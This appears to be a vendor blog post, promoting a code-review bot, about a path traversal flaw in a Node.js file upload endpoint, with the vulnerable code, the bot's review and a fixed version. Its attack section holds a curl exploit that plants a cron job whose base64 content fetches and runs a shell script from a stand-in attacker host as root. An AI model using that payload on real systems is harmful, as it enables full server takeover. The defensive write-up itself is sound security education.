A file upload endpoint, behind auth. The author validated content-type and file size. The author did not validate the filename. Mesrai posted on line 15 within 90 seconds of PR open — `path.join` does not stop `../` segments, and the team had no allowlist.

The vulnerable diff

tsapi/upload.ts

// api/upload.ts
import path from "path";
import fs from "fs/promises";

const UPLOAD_DIR = "/var/app/uploads";

uploadRouter.post("/file", requireAuth, async (req, res) => {
  const { filename, content } = req.body;

  // BUG: path.join normalizes ..  it does NOT prevent traversal
  const target = path.join(UPLOAD_DIR, filename);
  await fs.writeFile(target, Buffer.from(content, "base64"));

  res.json({ saved: target });
});

What is wrong

It is a common misreading of `path.join`. The function joins path segments and normalizes the result — turning `a/b/../c` into `a/c`. It does not refuse to traverse above the first segment. `path.join('/var/app/uploads', '../../etc/passwd')` returns `/var/etc/passwd`, and Node will happily write there if the process has permission. This is CWE-22, Path Traversal.

The attack

bashexploit.sh

curl -X POST https://api.example.com/file \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "filename": "../../../../etc/cron.d/pwn",
    "content": "KiAqICogKiAqIHJvb3QgY3VybCAtcyBodHRwczovL2F0dGFja2VyL3xzaAo="
  }'
# Writes /etc/cron.d/pwn — runs every minute as root.

Even if the process can not write to `/etc`, traversal lets the attacker overwrite any file the process *can* write — overwriting an existing user's previous upload, dropping a `.htaccess`, replacing a config file the app reads on next reload.

Mesrai's review comment

textreview-comment.txt

mesraipilot · Bot · reviewed 90 sec ago

[mesrai] [code-review] [Security] [CWE-22] [high]

`path.join(UPLOAD_DIR, filename)` does not prevent path traversal. The
function normalizes segments — `path.join("/var/app/uploads", "../../etc/passwd")`
returns `/var/etc/passwd`. Any `../` sequence in `filename` lets the
attacker write outside UPLOAD_DIR.

Two-part fix. First, strip the directory from the filename. Second,
verify the resolved target stays under UPLOAD_DIR:

  const safe = path.basename(filename);            // strips any dirs
  const target = path.resolve(UPLOAD_DIR, safe);
  if (!target.startsWith(path.resolve(UPLOAD_DIR) + path.sep)) {
    return res.status(400).json({ error: "invalid filename" });
  }

For extra safety, also reject filenames with NUL bytes and limit
characters to `[A-Za-z0-9._-]` if your use case allows.

Reference: OWASP Path Traversal cheat sheet, CWE-22

The fix

tsapi/upload.ts (fixed)

// api/upload.ts — fixed
const SAFE_NAME = /^[A-Za-z0-9._-]{1,128}$/;

uploadRouter.post("/file", requireAuth, async (req, res) => {
  const { filename, content } = req.body;

  if (typeof filename !== "string" || !SAFE_NAME.test(filename)) {
    return res.status(400).json({ error: "invalid filename" });
  }

  const safe = path.basename(filename);
  const target = path.resolve(UPLOAD_DIR, safe);
  if (!target.startsWith(path.resolve(UPLOAD_DIR) + path.sep)) {
    return res.status(400).json({ error: "invalid filename" });
  }

  await fs.writeFile(target, Buffer.from(content, "base64"));
  res.json({ saved: target });
});

Three layers in the fix: a strict allowlist regex on the filename, `path.basename` to strip any embedded directory segments, and an explicit prefix check on the resolved absolute path. Belt and braces — and the right shape for code review to trust at a glance.

Why human review missed it

`path.join` looks like the right tool. The function name implies safety. The Node docs do not warn about traversal in the `path.join` section — that warning lives in the `path.resolve` section, which most authors never read because they thought they were already using the right function. Mesrai catches the pattern because the rule is explicit: any user-controlled segment passed to `path.join` against a server-controlled base requires a containment check.

Related rules + further reading

Mesrai rule pack: security/no-unsafe-path-join — flags `path.join`/`path.resolve` with untrusted segments and no containment check.

OWASP Cheat Sheet: Path Traversal.

CWE-22 — Improper Limitation of a Pathname to a Restricted Directory.

Takeaway

`path.join` is normalization, not containment. If the filename comes from outside your code, `basename` it, resolve it, and check the prefix. Three lines that close the entire class of bug.

Path Traversal in File Uploads: The ../../etc/passwd Diff Mesrai Flagged